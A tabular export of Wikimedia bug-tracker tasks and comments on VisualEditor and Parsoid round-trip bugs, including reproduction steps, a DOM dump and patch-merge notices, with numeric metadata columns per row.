246409,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text",Fixed. Will go out in next push.,,,1377195359,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-isqwpxpplzad6mrvzuhz,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,0.8888888888888888,Fixed. Will go out in next push.
246403,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text","Change 79919 merged by jenkins-bot:
getAnnotationsFromRange should only ignore non-content data

https://gerrit.wikimedia.org/r/79919",,,1377195128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-isqwpxpplzad6mrvzuhz,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.157894736842105,0.9473684210526315,"Change 79919 merged by jenkins-bot:
getAnnotationsFromRange should only ignore non-content data

GERRIT_URL"
246398,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text",'Bonus' section has been filed here: https://bugzilla.wikimedia.org/show_bug.cgi?id=53151,,,1377090118,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-isqwpxpplzad6mrvzuhz,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9,'Bonus' section has been filed here: URL
246392,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text","Change 79919 had a related patch set uploaded by Esanders:
getAnnotationsFromRange should only ingnore non-content data

https://gerrit.wikimedia.org/r/79919",,,1376944734,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-isqwpxpplzad6mrvzuhz,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.318181818181818,1.0,"Change 79919 had a related patch set uploaded by Esanders:
getAnnotationsFromRange should only ingnore non-content data

GERRIT_URL"
52123,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"Screenshot of the problem in the serialization

I think this is caused by Parsoid trying to preserver/re-add whitespace when round-tripping.

Steps to reproduce issue:
* Create a page like the default MediaWiki main page:

<<<MW
'''MediaWiki has been successfully installed.'''

Consult the [//meta.wikimedia.org/wiki/Help:Contents User's Guide] for information on using the wiki sandbox software. 12

== Getting started ==
* [//www.mediawiki.org/wiki/Manual:Configuration_settings Configuration settings list]
* [//www.mediawiki.org/wiki/Manual:FAQ MediaWiki FAQ]
* [https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce MediaWiki release mailing list]
* [//www.mediawiki.org/wiki/Localisation#Translation_resources Localise MediaWiki for your language]
MW;

* Edit it with VisualEditor
* Put the cursor before ""MediaWiki release mailing list"" and select back until before the first character of the heading ""Getting started"".
* Press backspace. You're now left with 2 of 4 items in the list and an empty heading.
* Again, out the cursor before ""MediaWiki release mailing list"" and delete until you're behind ""software. 12"". You're now left with ""MediaWiki release mailing list"" in the paragraph and a list with 1 item.
* Save page -> Review changes (Screenshot attached)

It inserts a lot of new lines.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11588}",High,80.0,1372101840,1372370405.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,1.0,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,8.666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,1.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,17.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,5.0,0.6666666666666666,15.333333333333334,0.3333333333333333,1.3333333333333333,5.333333333333333,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,2.3333333333333335,8.666666666666666,9.666666666666666,0.0,4.0,0.0,2.3333333333333335,1.0,0.3333333333333333,1.3333333333333333,0.0,1.3333333333333333,0.0,0.0,3.0,3.9885185185185184,0.6186868686868686,"Screenshot of the problem in the serialization

I think this is caused by Parsoid trying to preserver/re-add whitespace when round-tripping.

Steps to reproduce issue:
* Create a page like the default MediaWiki main page:

<<<MW
'''MediaWiki has been successfully installed.'''

Consult the [//meta.wikimedia.org/wiki/Help:Contents User's Guide] for information on using the wiki sandbox software. 12

== Getting started ==
* [//www.mediawiki.org/wiki/Manual:Configuration_settings Configuration settings list]
* [//www.mediawiki.org/wiki/Manual:FAQ MediaWiki FAQ]
* [URL MediaWiki release mailing list]
* [//www.mediawiki.org/wiki/Localisation#Translation_resources Localise MediaWiki for your language]
MW;

* Edit it with VisualEditor
* Put the cursor before ""MediaWiki release mailing list"" and select back until before the first character of the heading ""Getting started"".
* Press backspace. You're now left with 2 of 4 items in the list and an empty heading.
* Again, out the cursor before ""MediaWiki release mailing list"" and delete until you're behind ""software. 12"". You're now left with ""MediaWiki release mailing list"" in the paragraph and a list with 1 item.
* Save page -> Review changes (Screenshot attached)

It inserts a lot of new lines.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11588}"
246184,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,Please reopen if this an issue in Parsoid.,,,1372370405,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,11.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,Please reopen if this an issue in Parsoid.
246176,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"There was a typo.  It should read:  "".... where there are *NONE* ....""",,,1372111668,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.761904761904762,0.8095238095238095,"There was a typo.  It should read:  "".... where there are *NONE* ...."""
246170,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"This seems to be a bug in the diff interface in mediawiki.  There are no extra newlines in the wikitext source as indicated by the diff.  The diff incorrectly signals newlines where there are now.

Steps to reproduce:

* Do everything as Krinkle says
* Actually save the page.
* Look at the new wikitext source and look at what the diff tells you.

I am leaving this bug open so others can verify independently.",,,1372111612,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,1.0,0.0,6.0,12.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,4.0,10.0,2.0,1.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,3.842696629213483,0.6741573033707865,"This seems to be a bug in the diff interface in mediawiki.  There are no extra newlines in the wikitext source as indicated by the diff.  The diff incorrectly signals newlines where there are now.

Steps to reproduce:

* Do everything as Krinkle says
* Actually save the page.
* Look at the new wikitext source and look at what the diff tells you.

I am leaving this bug open so others can verify independently."
246164,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"(In reply to comment #2)
> Krinkle: Could you provide a dump of VE's input and output DOM?

Given the steps to reproduce the bug from comment 0, I get the following:

> doc = ve.instances[0].model.documentModel;
> d = ve.createDocumentFromHtml( ve.init.mw.targets[0].originalHtml );
> d2 = ve.dm.converter.getDomFromData( doc.getFullData(), doc.getStore(), doc.getInternalList() );
> copy( d.body.innerHTML );

<p data-parsoid=""{&quot;dsr&quot;:[0,48,0,0]}""><b data-parsoid=""{&quot;dsr&quot;:[0,48,3,3]}"">MediaWiki has been successfully installed.</b></p>

<p data-parsoid=""{&quot;dsr&quot;:[50,171,0,0]}"">Consult the <a rel=""mw:ExtLink"" href=""//meta.wikimedia.org/wiki/Help:Contents"" data-parsoid=""{&quot;targetOff&quot;:103,&quot;dsr&quot;:[62,116,41,1]}"">User's Guide</a> for information on using the wiki sandbox software. 12</p>

<h2 data-parsoid=""{&quot;dsr&quot;:[173,194,2,2]}""> Getting started </h2>
<ul data-parsoid=""{&quot;dsr&quot;:[195,535,0,0]}""><li data-parsoid=""{&quot;dsr&quot;:[195,281,1,0]}""> <a rel=""mw:ExtLink"" href=""//www.mediawiki.org/wiki/Manual:Configuration_settings"" data-parsoid=""{&quot;targetOff&quot;:253,&quot;dsr&quot;:[197,281,56,1]}"">Configuration settings list</a></li>
<li data-parsoid=""{&quot;dsr&quot;:[282,335,1,0]}""> <a rel=""mw:ExtLink"" href=""//www.mediawiki.org/wiki/Manual:FAQ"" data-parsoid=""{&quot;targetOff&quot;:321,&quot;dsr&quot;:[284,335,37,1]}"">MediaWiki FAQ</a></li>
<li data-parsoid=""{&quot;dsr&quot;:[336,434,1,0]}""> <a rel=""mw:ExtLink"" href=""https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce"" data-parsoid=""{&quot;targetOff&quot;:403,&quot;dsr&quot;:[338,434,65,1]}"">MediaWiki release mailing list</a></li>
<li data-parsoid=""{&quot;dsr&quot;:[435,535,1,0]}""> <a rel=""mw:ExtLink"" href=""//www.mediawiki.org/wiki/Localisation#Translation_resources"" data-parsoid=""{&quot;targetOff&quot;:498,&quot;dsr&quot;:[437,535,61,1]}"">Localise MediaWiki for your language</a></li></ul>

> copy( d2.body.innerHTML );

<p data-parsoid=""{&quot;dsr&quot;:[0,48,0,0]}""><b data-parsoid=""{&quot;dsr&quot;:[0,48,3,3]}"">MediaWiki has been successfully installed.</b></p>

<p data-parsoid=""{&quot;dsr&quot;:[50,171,0,0]}"">Consult the <a href=""//meta.wikimedia.org/wiki/Help:Contents"" rel=""mw:ExtLink"" data-parsoid=""{&quot;targetOff&quot;:103,&quot;dsr&quot;:[62,116,41,1]}"">User's Guide</a> for information on using the wiki sandbox software. 12<a href=""https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce"" rel=""mw:ExtLink"" data-parsoid=""{&quot;targetOff&quot;:403,&quot;dsr&quot;:[338,434,65,1]}"">MediaWiki release mailing list</a></p><ul data-parsoid=""{&quot;dsr&quot;:[195,535,0,0]}""><li data-parsoid=""{&quot;dsr&quot;:[435,535,1,0]}""> <a href=""//www.mediawiki.org/wiki/Localisation#Translation_resources"" rel=""mw:ExtLink"" data-parsoid=""{&quot;targetOff&quot;:498,&quot;dsr&quot;:[437,535,61,1]}"">Localise MediaWiki for your language</a></li></ul>",,,1372108572,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.5,2.75,0.0,0.5,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.75,0.0,0.0,0.75,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.75,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,8.75,0.0,0.0,4.0,0.0,0.0,0.0,0.25,0.5,0.0,2.5,0.0,0.75,2.75,16.5,0.0,5.5,0.0,0.75,1.0,0.0,2.25,0.0,1.75,0.0,0.0,9.0,7.549821486530346,0.544506653683869,"(In reply to comment #2)
QUOTE

Given the steps to reproduce the bug from comment 0, I get the following:

QUOTE
QUOTE
QUOTE
QUOTE

<p data-parsoid=""{&quot;dsr&quot;:[0,48,0,0]}""><b data-parsoid=""{&quot;dsr&quot;:[0,48,3,3]}"">MediaWiki has been successfully installed.</b></p>

<p data-parsoid=""{&quot;dsr&quot;:[50,171,0,0]}"">Consult the <a rel=""mw:ExtLink"" href=""//meta.wikimedia.org/wiki/Help:Contents"" data-parsoid=""{&quot;targetOff&quot;:103,&quot;dsr&quot;:[62,116,41,1]}"">User's Guide</a> for information on using the wiki sandbox software. 12</p>

<h2 data-parsoid=""{&quot;dsr&quot;:[173,194,2,2]}""> Getting started </h2>
<ul data-parsoid=""{&quot;dsr&quot;:[195,535,0,0]}""><li data-parsoid=""{&quot;dsr&quot;:[195,281,1,0]}""> <a rel=""mw:ExtLink"" href=""//www.mediawiki.org/wiki/Manual:Configuration_settings"" data-parsoid=""{&quot;targetOff&quot;:253,&quot;dsr&quot;:[197,281,56,1]}"">Configuration settings list</a></li>
<li data-parsoid=""{&quot;dsr&quot;:[282,335,1,0]}""> <a rel=""mw:ExtLink"" href=""//www.mediawiki.org/wiki/Manual:FAQ"" data-parsoid=""{&quot;targetOff&quot;:321,&quot;dsr&quot;:[284,335,37,1]}"">MediaWiki FAQ</a></li>
<li data-parsoid=""{&quot;dsr&quot;:[336,434,1,0]}""> <a rel=""mw:ExtLink"" href=""URL data-parsoid=""{&quot;targetOff&quot;:403,&quot;dsr&quot;:[338,434,65,1]}"">MediaWiki release mailing list</a></li>
<li data-parsoid=""{&quot;dsr&quot;:[435,535,1,0]}""> <a rel=""mw:ExtLink"" href=""//www.mediawiki.org/wiki/Localisation#Translation_resources"" data-parsoid=""{&quot;targetOff&quot;:498,&quot;dsr&quot;:[437,535,61,1]}"">Localise MediaWiki for your language</a></li></ul>

QUOTE

<p data-parsoid=""{&quot;dsr&quot;:[0,48,0,0]}""><b data-parsoid=""{&quot;dsr&quot;:[0,48,3,3]}"">MediaWiki has been successfully installed.</b></p>

<p data-parsoid=""{&quot;dsr&quot;:[50,171,0,0]}"">Consult the <a href=""//meta.wikimedia.org/wiki/Help:Contents"" rel=""mw:ExtLink"" data-parsoid=""{&quot;targetOff&quot;:103,&quot;dsr&quot;:[62,116,41,1]}"">User's Guide</a> for information on using the wiki sandbox software. 12<a href=""URL rel=""mw:ExtLink"" data-parsoid=""{&quot;targetOff&quot;:403,&quot;dsr&quot;:[338,434,65,1]}"">MediaWiki release mailing list</a></p><ul data-parsoid=""{&quot;dsr&quot;:[195,535,0,0]}""><li data-parsoid=""{&quot;dsr&quot;:[435,535,1,0]}""> <a href=""//www.mediawiki.org/wiki/Localisation#Translation_resources"" rel=""mw:ExtLink"" data-parsoid=""{&quot;targetOff&quot;:498,&quot;dsr&quot;:[437,535,61,1]}"">Localise MediaWiki for your language</a></li></ul>"
246156,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,Krinkle: Could you provide a dump of VE's input and output DOM?,,,1372104921,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,20.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,1.0,Krinkle: Could you provide a dump of VE's input and output DOM?
246151,Parsoid: Serializer inserts odd whitespace eventhough nodes are no longer in DOM,"Subbu, could this be caused by e90e40c26cd8?",,,1372103979,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-edvyo63z4kmo5a2d7dvy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,"Subbu, could this be caused by e90e40c26cd8?"
52118,VisualEditor: First character after a </pre> is lost on round-trip,"I edited a large page on meta (1.22wmf7) in VE. All seemed fine but review showed VE had removed the first character following several closing </pre> tags. It also removed a few characters within a <source> tag.

Here's the diff showing the removal, it's self-explanatory.  <https://www.mediawiki.org/w/index.php?title=Extension%3AEventLogging%2FGuide&diff=716359&oldid=704840>.  I will restore the characters by hand.
I'm using Firefox 21.0 on Kubuntu 13.04.

I tried editing the same document again and this time VE removed more characters from the source tag, added a space after a <pre>. Hmm. I'm setting to critical as it's recoverable data loss, but maybe it's intermittent.

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1372098360,1372355490.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-ay5qiidktmoux2bli72a,task_description,resolved,True,c1,2,False,False,True,-1,,1.5,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,3.0,0.0,2.5,5.5,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.5,1.0,3.5,1.0,2.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,0.0,2.0,7.5,0.0,0.0,0.0,0.0,0.5,0.5,2.0,0.0,5.0,5.5,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.5,0.0,5.0,3.7333333333333334,0.7333333333333334,"I edited a large page on meta (1.22wmf7) in VE. All seemed fine but review showed VE had removed the first character following several closing </pre> tags. It also removed a few characters within a <source> tag.

Here's the diff showing the removal, it's self-explanatory.  <URL  I will restore the characters by hand.
I'm using Firefox 21.0 on Kubuntu 13.04.

I tried editing the same document again and this time VE removed more characters from the source tag, added a space after a <pre>. Hmm. I'm setting to critical as it's recoverable data loss, but maybe it's intermittent.

--------------------------
**Version**: unspecified
**Severity**: critical"
245717,VisualEditor: First character after a </pre> is lost on round-trip,"Here is another example:
https://www.mediawiki.org/w/index.php?title=Gerrit/Tutorial&diff=717045",,,1372510492,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ay5qiidktmoux2bli72a,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,"Here is another example:
URL"
245712,VisualEditor: First character after a </pre> is lost on round-trip,"(In reply to comment #2)
> Can't reproduce in master.

Neither can I, in production or master. I'm going to close this as fixed, but please re-open if it recurs.",,,1372355490,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ay5qiidktmoux2bli72a,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,5.0,5.0,0.0,0.0,0.0,3.0,11.0,3.0,3.0,0.0,8.0,18.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.026315789473684,0.8947368421052632,"(In reply to comment #2)
QUOTE

Neither can I, in production or master. I'm going to close this as fixed, but please re-open if it recurs."
245704,VisualEditor: First character after a </pre> is lost on round-trip,"Can't reproduce in master.

An issue I am seeing is code inside <source> and <syntaxhighligh> blocks are losing their linebreaks. Might want to file a bug if we aren't aware of that.

Editing inside source is now bug 50224",,,1372250776,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ay5qiidktmoux2bli72a,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,6.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,10.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,12.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,8.0,3.72,0.78,"Can't reproduce in master.

An issue I am seeing is code inside <source> and <syntaxhighligh> blocks are losing their linebreaks. Might want to file a bug if we aren't aware of that.

Editing inside source is now bug 50224"
245697,VisualEditor: First character after a </pre> is lost on round-trip,"Making this primarily about the first character after a </pre> getting lost on round-trip; I'm not sure how you were able to edit inside a <source> tag, though, so that needs exploring too if it recurs.",,,1372113996,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ay5qiidktmoux2bli72a,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,17.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,4.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,6.0,0.0,0.0,6.0,3.5531914893617023,0.9148936170212766,"Making this primarily about the first character after a </pre> getting lost on round-trip; I'm not sure how you were able to edit inside a <source> tag, though, so that needs exploring too if it recurs."
52105,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"From http://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Problem_with_using_shift%2B

""Hi. I have been using the visual editor for a while on ar Wikipedia, it is very nice and smooth for fast edits. However, I am facing a very strange problem when I need to add some Arabic diacritics known as tashkil; when I press shift+diacritic button (like x, e, or z) the letter I pressed starts to repeat itself endlessly, and it can only be stopped by refreshing the page and wasting the work I have did. Any thoughts?""

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
